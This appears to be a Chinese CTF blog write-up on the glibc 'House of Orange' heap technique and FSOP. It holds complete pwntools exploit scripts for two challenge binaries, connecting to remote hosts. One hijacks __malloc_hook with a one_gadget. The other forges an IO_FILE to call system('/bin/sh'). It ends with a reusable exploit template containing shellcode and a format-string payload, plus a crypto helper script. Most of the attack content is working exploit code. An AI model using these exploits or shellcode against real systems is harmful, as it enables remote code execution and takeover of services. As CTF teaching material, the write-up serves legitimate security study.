PWN January 03, 2020

House of orange

Words count 84k Reading time 1:17 Read count 0

一、第一种类型的原理

House of Orange 的利用比较特殊,首先需要目标漏洞是堆上的漏洞但是特殊之处在于题目中不存在 free 函数或其他释放堆块的函数。我们知道一般想要利用堆漏洞,需要对堆块进行 malloc 和 free 操作,但是在 House of Orange 利用中无法使用 free 函数,因此 House of Orange 核心就是通过漏洞利用获得 free 的效果。如我们前面所述,House of Orange 的核心在于在没有 free 函数的情况下得到一个释放的堆块 (unsorted bin)。 这种操作的原理简单来说是当前堆的 top chunk 尺寸不足以满足申请分配的大小的时候,原来的 top chunk 会被释放并被置入 unsorted bin 中,通过这一点可以在没有 free 函数情况下获取到 unsorted bins。

这里用代码解释下:

1
2
3
4
5
6
malloc(size)
if size>topchunk_size:
free(topchunk)#放到unsorted bin中
mmap(size)#得到非主分配区的堆地址
else
nothing

然后unsorted bin就可以拿来切割了,后面的操作看具体情况而定。

一般来说,topchunk都是很大的,通过malloc去消耗topchunk,显然不现实。但是呢,我们可以通过溢出修改topchunk的大小,但是topchunk的size有挺多检查的,所以要小心点改,要满足以下要求:

  1. 伪造的 size 必须要对齐到内存页

2.size 要大于 MINSIZE(0x10)

3.size 要小于之后申请的 chunk size + MINSIZE(0x10)

4.size 的 prev inuse 位必须为 1

之后原有的 top chunk 就会执行_int_free从而顺利进入 unsorted bin 中,即:

1
2
3
4
assert((old_top == initial_top(av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse(old_top) &&
((unsigned long)old_end & pagemask) == 0));

topchunk内存页对齐,size > topchunk_size > 0x10, pre_used位为1

重点是这个页对齐,一般来说操作系统都是对于4kb对齐的,

例如,topchunk的地址是0x602020,topchunksize为0x20fe0,通过计算得知 0x602020+0x20fe0=0x623000 是对于 0x1000(4kb)对齐的,因此我们伪造的 fake_size 可以是 0x0fe1、0x1fe1、0x2fe1、0x3fe1 等对 4kb 对齐的 size,一般选取的是0xfe1。

看一道题:巅峰极客一道pwn题:

57206861494

漏洞很明显,一个UAF,一个溢出7字节的edit,而且申请的size为小于0x1000,有打印函数,但是只有一个chunk可以操作,想要泄露地址,一般情况下是要堆去阻隔,但是house of orange真好,可以实现放入unsorted bin中,而且还有残留地址,所以这题直接可以打了,先分析下:

首先页对齐要求,先看下tpochunk大小:0x20f91

57206888822

根据惯例:

57206895399

所以取后三位得到fake_topchunksize: 0xf91

修改并释放出来:malloc(0xf98)

57206909380

house of orange 成功了,接着就是UAF漏洞利用了,申请0x68,泄露地址+写入fake_chunk,改写malloc_hook即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#coding=utf8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
local = 1
elf = ELF('./pwn666')
if local:
p = process('./pwn666')
libc = elf.libc
else:
p = remote('55fca716.gamectf.com',37009)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#onegadget64(libc.so.6) 0x45216 0x4526a 0xf02a4 0xf1147
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()

def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))

def malloc(size,content):
ru("Your choice > ")
sl('1')
ru("Size > ")
sl(str(size))
ru("Content > ")
sd(content)
def free():
ru("Your choice > ")
sl('3')
def edit(size,content):
ru("Your choice > ")
sl('4')
ru("Size > ")
sl(str(size))
ru("Content > ")
sd(content)
def show():
ru("Your choice > ")
sl('2')

ru("What's your name?")
sl('king')

malloc(0x68,'a'*0x68)
py = ''
py += 'a'*0x68 + p64(0xf91)
edit(0x68+8,py)
# debug(0)
malloc(0xf98,'b'*0xf98)

malloc(0x68,'aaaaaaaa')
show()
ru('a'*8)
libc_base = u64(rc(6).ljust(8,'\x00')) - 0x3c5188
print "libc_base--->" + hex(libc_base)
fake_chunk = libc_base + libc.sym["__malloc_hook"] - 0x23
onegadget = libc_base + 0xf02a4
free()
py = ''
py += p64(fake_chunk)
edit(0x68+8,py)
malloc(0x68,'a'*0x68)
py = ''
py += 'a'*0x13 + p64(onegadget)
malloc(0x68,py)
ru("Your choice > ")
sl('1')
ru("Size > ")
sl('200')
#'flag{7952ade8da0821a4e2334dd2ad307ac7}'
p.interactive()
所以以后可以想想,一个堆块泄露地址,没人帮你阻隔时,house of orange!

二、第二种类型的原理

来看pwnable.tw的一道题:

image-20200527214017360

典型的没有free的情况,这里我们需要通过house of orange实现getshell操作,分析下漏洞点:

image-20200527213945185

这里根据0截断的知识,我们可以知道,通过下一个chunk的size紧密相连,我们能更新当前堆块的size,再次edit时就是溢出了,这里我们第一个块是接近topchunk的,所以可以实现把topchunk给free出来。

再看看malloc

image-20200527214306702

会发现检查条件是2者需要同时成立时,即i<=8&&chunk[i]==0才能申请出堆块,但是通过看其他函数,发现只能操作8个堆块,也就是i的极限是7,而不是8,意味着可能可以申请出第9个堆块,看下布局:

image-20200527214654385

由于是一一对应的,当我们把chunk[0]的size利用edit更新为0时,那么我们就可以绕过那个条件,申请出第九个堆块,放到chunk[0]的size位置,这样就是相当于超级溢出了,直接覆盖unsorted bin实现house of orange操作。

伪造整个结构体!下面介绍这一种方法,由上面的方法,我们可以通过改topchunk实现free操作把topchunk给放到unsortedbin中,然后再次申请堆块就可以得到真实地址,这里只要再次申请的堆块大于0x20,就可以同时得到堆地址,比如我再次申请是0x68大小:

image-20200527213729055

所以一步操作即可泄露真实地址,也可以泄漏堆地址。

接着我们通过刚刚的超级溢出,实现覆盖我们的house of orange代码:

image-20200527222216797

这里讲下原理:

File Stream Oriented Programming

我们知道有ropretn Oriented Programming,那么其实File Stream Oriented Programming是一个道理的。也是一种劫持程序流程的方法,只不过方式是通过攻击File Stream来实现罢了。
我们先要了解malloc对错误信息的处理过程,malloc_printerrmalloc中用来打印错误的函数。

image-20200527215651735

malloc_printerr其实是调用__libc_message函数之后调用abort函数,abort函数其中调用了_IO_flush_all_lockp,这个函数调用涉及到io_stderr结构体,也就是说一定会用到io_stderr里面的vtable跳转到想要执行的函数,即采用的是虚表调用的方式。

通过unsorted bin的attack,我们的io_file_all会被修改成指向top_chunk的main arena。

但是我们是无法控制main_arena的内容的,至少全部控制是不行的,那么怎么处理呢?
这里还是要牵扯到io_file的使用,IO_FILE结构中有一个字段是chian字段,它位于0x60偏移处,他指向的是下一个IO_FILE结构体,我们如果可以控制这个字段,就再次指定io_file的位置,它相当于是一个链表的结构
这样的话又联系到smallchunk的问题,在拆卸unsort_bin时候对属于small_bin的chunk进行了记录操作。
这个时候IO_FILE_all指向的正是main_arena的bins里面unsortbin的位置,那么偏移0x60处正好是,smallchunk的index为6的地方,也就是满足大小为16*6(0x61)的chunk,所以我们需要把unsortbin的大小设置为0x60大小,这样就会放到我们的small bin中。

image-20200527224402825

image-20200527224531550

1
2
3
4
5
6
7
8
9
10
11
12
13
while (fp != NULL)
{

fp = fp->_chain;
...
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF)

因为第一个分配在main_arenaIO_FILE_plus结构的fp->mode等值不符合要求,就会通过chains跳转到就下一个IO_FILE_plus就是我们之前设置的unsortbin,然后需要满足一下条件

  1. fp->mode>0
  2. _IO_vtable_offset (fp) ==0
  3. fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
    这里的话我就是把wide_data的IO_wirte_ptr就指向read_end就可以,然后就会调用虚表vtable+0x18偏移处的函数了。

image-20200527220258290

一个实际跟踪的例子:

1
2
3
4
5
6
7
8
9
10
11
f 0     7f2af059f390 system
f 1 7f2af05d6fb8 _IO_str_finish+24
f 2 7f2af05d6196 _IO_flush_all_lockp+374
f 3 7f2af0590fbd abort+253
f 4 7f2af05d17ea
f 5 7f2af05dc13e _int_malloc+1470
f 6 7f2af05dc13e _int_malloc+1470
f 7 7f2af05de184 malloc+84
f 8 400a03
f 9 400d12
f 10 7f2af057a830 __libc_start_main+240

image-20200527233014694

image-20200527233039120

image-20200527233258560

这里其实有点不太懂system是怎么被调用到的,以后再看看吧~同时,这里house of orange其实是有概率会失败的,因为不能保证那个约束条件一定是成立的~

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
local = 1
elf = ELF('./pwn1')
if local:
p = process('./pwn1')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def pack_file(_flags = 0,
_IO_read_ptr = 0,
_IO_read_end = 0,
_IO_read_base = 0,
_IO_write_base = 0,
_IO_write_ptr = 0,
_IO_write_end = 0,
_IO_buf_base = 0,
_IO_buf_end = 0,
_IO_save_base = 0,
_IO_backup_base = 0,
_IO_save_end = 0,
_IO_marker = 0,
_IO_chain = 0,
_fileno = 0,
_lock = 0,
_wide_data = 0,
_mode = 0):
file_struct = p32(_flags) + \
p32(0) + \
p64(_IO_read_ptr) + \
p64(_IO_read_end) + \
p64(_IO_read_base) + \
p64(_IO_write_base) + \
p64(_IO_write_ptr) + \
p64(_IO_write_end) + \
p64(_IO_buf_base) + \
p64(_IO_buf_end) + \
p64(_IO_save_base) + \
p64(_IO_backup_base) + \
p64(_IO_save_end) + \
p64(_IO_marker) + \
p64(_IO_chain) + \
p32(_fileno)
file_struct = file_struct.ljust(0x88, "\x00")
file_struct += p64(_lock)
file_struct = file_struct.ljust(0xa0, "\x00")
file_struct += p64(_wide_data)
file_struct = file_struct.ljust(0xc0, '\x00')
file_struct += p64(_mode)
file_struct = file_struct.ljust(0xd8, "\x00")
return file_struct

def pack_file_flush_str_jumps(_IO_str_jumps_addr, _IO_list_all_ptr, system_addr, binsh_addr):
payload = pack_file(_flags = 0,
_IO_read_ptr = 0x61, #smallbin4file_size
_IO_read_base = _IO_list_all_ptr-0x10, # unsorted bin attack _IO_list_all_ptr,
_IO_write_base = 0,
_IO_write_ptr = 1,
_IO_buf_base = binsh_addr,
_mode = 0,
)
payload += p64(_IO_str_jumps_addr-8) # vtable
payload += p64(0) # paddding
payload += p64(system_addr)
return payload

def get_io_str_jumps_offset(libc):
IO_file_jumps_offset = libc.sym['_IO_file_jumps']
IO_str_underflow_offset = libc.sym['_IO_str_underflow']
for ref_offset in libc.search(p64(IO_str_underflow_offset)):
possible_IO_str_jumps_offset = ref_offset - 0x20
if possible_IO_str_jumps_offset > IO_file_jumps_offset:
# print possible_IO_str_jumps_offset
return possible_IO_str_jumps_offset

def house_of_orange_payload(libc, libc_base):
io_str_jump = libc_base + get_io_str_jumps_offset(libc)
io_list_all = libc_base + libc.symbols['_IO_list_all']
system = libc_base + libc.symbols['system']
bin_sh = libc_base + next(libc.search('/bin/sh'))
payload = pack_file_flush_str_jumps(io_str_jump, io_list_all, system, bin_sh)
return payload

sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()

def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

def malloc(name,size,content):
ru("Input your choice:")
sl('1')
ru("Member name:")
sl(name)
ru("Description size:")
sl(str(size))
ru("Description:")
sl(content)
def free(index):
ru("Input your choice:")
sl('2')
ru("index:")
sl(str(index))
def show(index):
ru("Input your choice:")
sl('3')
ru("index:")
sl(str(index))

malloc("victor",0x30,"bbbb")#0
malloc("victor",0x30,"bbbb")#1
malloc("victor",0x30,"bbbb")#2
malloc("victor",0x30,"bbbb")#3
free(0)
free(1)
free(2)
# debug(0x000000000000DEE)
malloc('victor','0'*5000,'a')
show(0)
ru("The Description:")
libc_base = u64(rc(6).ljust(8,'\x00')) - 0x3c4c61
print "libc_base--->" + hex(libc_base)
malloc('victor','0',p64(0)*2+house_of_orange_payload(libc,libc_base))
# debug(0)
ru("Input your choice:")
sl('1')
ru("Member name:")
sl('victor')
ru("Description size:")
sl(str(0x30))
p.interactive()

放个re脚本专区:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
# -*- coding: utf-8 -*-
from Crypto.Cipher import ARC4, AES, DES
from Crypto.Util.Padding import unpad
from binascii import *
import base64
import hashlib
from z3 import *
from gmpy2 import *
import libnum
from Crypto.Util.number import *
import base64
import xxtea

table1 = [
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/','=']
table2 = [0x37, 0x34, 0x35, 0x32, 0x33, 0x30, 0x31, 0x3E, 0x3F, 0x3C, 0x3D, 0x3A, 0x3B, 0x38, 0x39, 0x26, 0x27, 0x24, 0x25, 0x22, 0x23, 0x20, 0x21, 0x2E, 0x2F, 0x2C, 0x17, 0x14, 0x15, 0x12, 0x13, 0x10, 0x11, 0x1E, 0x1F, 0x1C, 0x1D, 0x1A, 0x1B, 0x18, 0x19, 0x06, 0x07, 0x04, 0x05, 0x02, 0x03, 0x00, 0x01, 0x0E, 0x0F, 0x0C, 0x46, 0x47, 0x44, 0x45, 0x42, 0x43, 0x40, 0x41, 0x4E, 0x4F, 0x5D,0x59]

key = b"De1CTF"
rc4_key = key
des_key = key.ljust(8, b"\x02")
aes_key = key.ljust(16, b"\x0a")
def rc4_decrypt(cipher, key=rc4_key):
rc4 = ARC4.new(key)
return rc4.decrypt(cipher)
def rc4_encrypt(cipher, key=rc4_key):
rc4 = ARC4.new(key)
return rc4.encrypt(cipher)
def aes_decrypt(cipher, key=aes_key):
aes = AES.new(key, iv=key, mode=AES.MODE_CBC)
return aes.decrypt(cipher)
def aes_encrypt(cipher, key=aes_key):
aes = AES.new(key, iv=key, mode=AES.MODE_CBC)
return aes.encrypt(cipher)
def des_decrypt(cipher, key=des_key):
des = DES.new(key, iv=key, mode=AES.MODE_CBC)
return des.decrypt(cipher)
def des_encrypt(cipher, key=des_key):
des = DES.new(key, iv=key, mode=AES.MODE_CBC)
return des.encrypt(cipher)
# Base64
# c = [4, 19, 0, 19, 4, 5, 19, 93]
# for i in c:
# code += table1[table2.index(i)]
# print base64.b64decode(code).encode("hex")

# AES\DES\RC4
minwen = b"flag{1234567!99}"
cipher = b"\x38\x7d\xa0\xf9\x89\x1b\x2e\x1a\x8e\x78\x6b\x39\xde\x6f\xd9\x84"
print des_decrypt(cipher)
# print rc4_decrypt(cipher)
# print aes_decrypt(cipher)

# Z3
# def change1(x):
# for i in range(1,len(x)):
# for j in xrange(0,i//3,1):
# x[i] ^= x[j]
# return x
# f = [BitVec("x%d"%i, 8) for i in range(24)]
# fc = [BitVec("x%d"%i, 8) for i in range(24)]
# ft = change1(f)
# dt = [0xCE, 0xBC, 0x40, 0x6B, 0x7C, 0x3A, 0x95, 0xC0, 0xEF, 0x9B, 0x20, 0x20, 0x91, 0xF7, 0x02, 0x35, 0x23, 0x18, 0x02, 0xC8, 0xE7, 0x56, 0x56, 0xFA]
# s = Solver()
# for i in range(24):
# s.add(ft[i] == dt[i])
# s.check()
# m = s.model()
# ans = []
# for i in range(24):
# ans.append(m[fc[i]].as_long())
# print ans

# RSA
# n = 3161262255255421133292506694323988711204792818702640666084331634444148712428915950639954540974469931426618702044672318134908678730641981414037034058320359158246813987154679178159391832232990193738454116371045928434239936027006539348488316754611586659587677659791620481200732564068367148541242426533823626586574915275209508300120574819113851895932912208783915652764568319771482309338434364094681579135086703127977870534715039005822312878739611630155714313119545610939253355808742646891815442758660278514976431521933763272615653261044607041876212998883732724662410197038419721773290601109065965674129599626151139566369
# e = 65537
# c = 631583911592660652215412683088688785438938386403323323131247534561958531288570612134139288090533619548876156447498627938626419617968918299212863936839701943643735437264304062828205809984533592547599060829451668240569384130130080928292082888526567902695707215660020201392640388518379063244487204881439591813398495285025704285781072987024698133147354238702861803146548057736756003294248791827782280722670457157385205787259979804892966529536902959813675537028879407802365439024711942091123058305460856676910458268097798532901040050506906141547909766093323197363034959926900440420805768716029052885452560625308314284406
# p = 56225103425920179745019828423382255030086226600783237398582720244250840205090747144995470046432814267877822949968612053620215667790366338413979256357713975498764498045710766375614107934719809398451422359883451257033337168560937824719275885709824193760523306327217910106187213556299122895037021898556005848447
# q = 56225103425920179745019828423382255030086226600783237398582720244250840205090747144995470046432814267877822949968612053620215667790366338413979256357713975498764498045710766375614107934719809398451422359883451257033337168560937824719275885709824193760523306327217910106187213556299122895037021898556005848927
# d = invert(e,(p-1)*(q-1))
# m = pow(c,d,n)
# print long_to_bytes(m)

# SHA256\MD5
# m = "12345"
# c = hashlib.sha256(m).hexdigest()
# c = hashlib.md5(m).hexdigest()
# print len(c)

# XXTEA
# text = "\x4d\xd6\x48\x7b\x0e\x97\xb5\x11\x0b\x82\x87\x8c\x3e\x31\xfc\x16\x7c\xfa\xe5\x10"
# key = "12345670".ljust(16,'\x00')
# decrypt_data = xxtea.decrypt(text, key)
# print decrypt_data

放个pwn脚本专区:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
# -*- coding: utf-8 -*-
from pwn import *
from libformatstr import FormatStr
context.log_level = 'debug'
context(arch='amd64', os='linux')
context(arch='i386', os='linux')
local = 1
elf = ELF('./pwn1')
if local:
p = process('./pwn1')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#onegadget64(libc.so.6)
one64 = [0x45216,0x4526a,0xf02a4,0xf1147]
# [rax == NULL;[rsp+0x30] == NULL,[rsp+0x50] == NULL,[rsp+0x70] == NULL]
#onegadget32(libc.so.6)
# one32 = [0x3ac5c,0x3ac5e,0x3ac62,0x3ac69,0x5fbc5,0x5fbc6]

# py32 = fmtstr_payload(start_read_offset,{xxx_got:system_addr})
# sl(py32)
# py64 = FormatStr(isx64=1)
# py64[printf_got] = onegadget
# sl(py64.payload(start_read_offset))

# shellcode = asm(shellcraft.sh())
shellcode32 = '\x68\x01\x01\x01\x01\x81\x34\x24\x2e\x72\x69\x01\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x6a\x0b\x58\xcd\x80'
shellcode64 = '\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x63\x68\x6f\x2e\x72\x69\x01\x48\x31\x04\x24\x48\x89\xe7\x31\xd2\x31\xf6\x6a\x3b\x58\x0f\x05'
#shellcode64 = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'
def pack_file(_flags = 0,
_IO_read_ptr = 0,
_IO_read_end = 0,
_IO_read_base = 0,
_IO_write_base = 0,
_IO_write_ptr = 0,
_IO_write_end = 0,
_IO_buf_base = 0,
_IO_buf_end = 0,
_IO_save_base = 0,
_IO_backup_base = 0,
_IO_save_end = 0,
_IO_marker = 0,
_IO_chain = 0,
_fileno = 0,
_lock = 0,
_wide_data = 0,
_mode = 0):
file_struct = p32(_flags) + \
p32(0) + \
p64(_IO_read_ptr) + \
p64(_IO_read_end) + \
p64(_IO_read_base) + \
p64(_IO_write_base) + \
p64(_IO_write_ptr) + \
p64(_IO_write_end) + \
p64(_IO_buf_base) + \
p64(_IO_buf_end) + \
p64(_IO_save_base) + \
p64(_IO_backup_base) + \
p64(_IO_save_end) + \
p64(_IO_marker) + \
p64(_IO_chain) + \
p32(_fileno)
file_struct = file_struct.ljust(0x88, "\x00")
file_struct += p64(_lock)
file_struct = file_struct.ljust(0xa0, "\x00")
file_struct += p64(_wide_data)
file_struct = file_struct.ljust(0xc0, '\x00')
file_struct += p64(_mode)
file_struct = file_struct.ljust(0xd8, "\x00")
return file_struct

def pack_file_flush_str_jumps(_IO_str_jumps_addr, _IO_list_all_ptr, system_addr, binsh_addr):
payload = pack_file(_flags = 0,
_IO_read_ptr = 0x61, #smallbin4file_size
_IO_read_base = _IO_list_all_ptr-0x10, # unsorted bin attack _IO_list_all_ptr,
_IO_write_base = 0,
_IO_write_ptr = 1,
_IO_buf_base = binsh_addr,
_mode = 0,
)
payload += p64(_IO_str_jumps_addr-8) # vtable
payload += p64(0) # paddding
payload += p64(system_addr)
return payload

def get_io_str_jumps_offset(libc):
IO_file_jumps_offset = libc.sym['_IO_file_jumps']
IO_str_underflow_offset = libc.sym['_IO_str_underflow']
for ref_offset in libc.search(p64(IO_str_underflow_offset)):
possible_IO_str_jumps_offset = ref_offset - 0x20
if possible_IO_str_jumps_offset > IO_file_jumps_offset:
# print possible_IO_str_jumps_offset
return possible_IO_str_jumps_offset

def house_of_orange_payload(libc, libc_base):
io_str_jump = libc_base + get_io_str_jumps_offset(libc)
io_list_all = libc_base + libc.symbols['_IO_list_all']
system = libc_base + libc.symbols['system']
bin_sh = libc_base + next(libc.search('/bin/sh'))
payload = pack_file_flush_str_jumps(io_str_jump, io_list_all, system, bin_sh)
return payload

sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()

def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))
# with open('1.txt','wb+') as f:
# s = ""
# for i in shellcode:
# s += "0x" + i.encode("hex")
# for i in s:
# f.write(i)

# def mid_overflow(offset,func_got,rdi,rsi,rdx,next_func):
# payload = ''
# payload += 'a'*offset
# payload += 'aaaaaaaa'
# payload += p64(pppppp_ret)
# payload += p64(0)
# payload += p64(0)
# payload += p64(1)
# payload += p64(func_got)
# payload += p64(rdx)
# payload += p64(rsi)
# payload += p64(rdi)
# payload += p64(mov_ret)
# payload += p64(0)
# payload += p64(0)
# payload += p64(0)
# payload += p64(0)
# payload += p64(0)
# payload += p64(0)
# payload += p64(0)
# payload += p64(next_func)
# ru('Input:\n')
# sd(payload)

def malloc(size,content):
ru("> ")
sl('1')
ru()
sl(str(size))
ru()
sd(content)
def free(index):
ru("> ")
sl('3')
ru()
sl(str(index))
def edit(index,content):
ru("> ")
sl('2')
ru()
sl(str(index))
ru()
sd(content)
def show(index):
ru("> ")
sl('4')
ru()
sl(str(index))











# libc_base = u64(rc(6).ljust(8,'\x00'))
# print "libc_base--->" + hex(libc_base)
# malloc_hook = libc_base + libc.sym["__malloc_hook"]
# fake_chunk = malloc_hook - 0x23
# realloc = libc_base + libc.sym["realloc"]
# free_hook = libc_base + libc.sym["__free_hook"]
# system = libc_base + libc.sym["system"]
# binsh = libc_base + libc.search("/bin/sh").next()




# i = 0
# while 1:
# print i
# i += 1
# try:
# pwn()
# except EOFError:
# p.close()
# local = 1
# elf = ELF('./note_five')
# if local:
# p = process('./note_five')
# libc = elf.libc
# continue
# else:
# p = remote('121.40.246.48',9999)
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# else:
# sl("ls")
# break
p.interactive()
0%